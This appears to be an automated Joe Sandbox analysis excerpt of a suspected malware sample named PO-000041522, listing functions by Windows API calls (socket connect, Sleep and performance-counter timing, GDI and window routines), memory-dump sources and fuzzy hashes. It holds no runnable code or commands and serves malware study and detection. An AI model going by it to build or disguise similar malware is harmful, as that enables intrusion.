                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                                • String ID:
                                                                                                • API String ID: 245547762-0
                                                                                                • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                                • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                                APIs
                                                                                                • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                • BeginPath.GDI32(?), ref: 004471B7
                                                                                                • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Object$Select$BeginCreateDeletePath
                                                                                                • String ID:
                                                                                                • API String ID: 2338827641-0
                                                                                                • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                APIs
                                                                                                • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CounterPerformanceQuerySleep
                                                                                                • String ID:
                                                                                                • API String ID: 2875609808-0
                                                                                                • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                APIs
                                                                                                • SendMessageW.USER32 ref: 0046FD00
                                                                                                • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                                • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                                • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                                • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$DestroyIcon
                                                                                                • String ID:
                                                                                                • API String ID: 3419509030-0
                                                                                                • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                                • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                                APIs
                                                                                                • __getptd.LIBCMT ref: 004175AE
                                                                                                  • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                  • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                • __lock.LIBCMT ref: 004175DE
                                                                                                • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                • InterlockedIncrement.KERNEL32(02F42DB0), ref: 00417626
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                • String ID:
                                                                                                • API String ID: 4271482742-0
                                                                                                • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                APIs
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                                • String ID:
                                                                                                • API String ID: 4023252218-0
                                                                                                • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                                • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                                APIs
                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                                • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                                • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                                • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                                • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                • String ID:
                                                                                                • API String ID: 3741023627-0
                                                                                                • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                                • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                                • String ID:
                                                                                                • API String ID: 1489400265-0
                                                                                                • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                                • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                                APIs
                                                                                                  • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                                • String ID:
                                                                                                • API String ID: 1042038666-0
                                                                                                • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                                • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                • String ID:
                                                                                                • API String ID: 2625713937-0
                                                                                                • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                APIs
                                                                                                  • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                • ExitThread.KERNEL32 ref: 0041410F
                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                • __freefls@4.LIBCMT ref: 00414135
                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                • String ID:
                                                                                                • API String ID: 132634196-0
                                                                                                • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                                • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                                APIs
                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                                  • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                • __getptd_noexit.LIBCMT ref: 00415620
                                                                                                • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                                • __freeptd.LIBCMT ref: 0041563B
                                                                                                • ExitThread.KERNEL32 ref: 00415643
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                • String ID:
                                                                                                • API String ID: 3798957060-0
                                                                                                • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                                • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                                APIs
                                                                                                  • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                • ExitThread.KERNEL32 ref: 004156BD
                                                                                                • __freefls@4.LIBCMT ref: 004156D9
                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                • String ID:
                                                                                                • API String ID: 1537469427-0
                                                                                                • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                                • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _malloc
                                                                                                • String ID: Default$|k
                                                                                                • API String ID: 1579825452-2254895183
                                                                                                • Opcode ID: 1ec0aebd5d37074108aca46852043d4b73fc22c56f3488ae7e13bbe165d31942
                                                                                                • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                • Opcode Fuzzy Hash: 1ec0aebd5d37074108aca46852043d4b73fc22c56f3488ae7e13bbe165d31942
                                                                                                • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _memcmp
                                                                                                • String ID: '$[$h
                                                                                                • API String ID: 2931989736-1224472061
                                                                                                • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                                • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
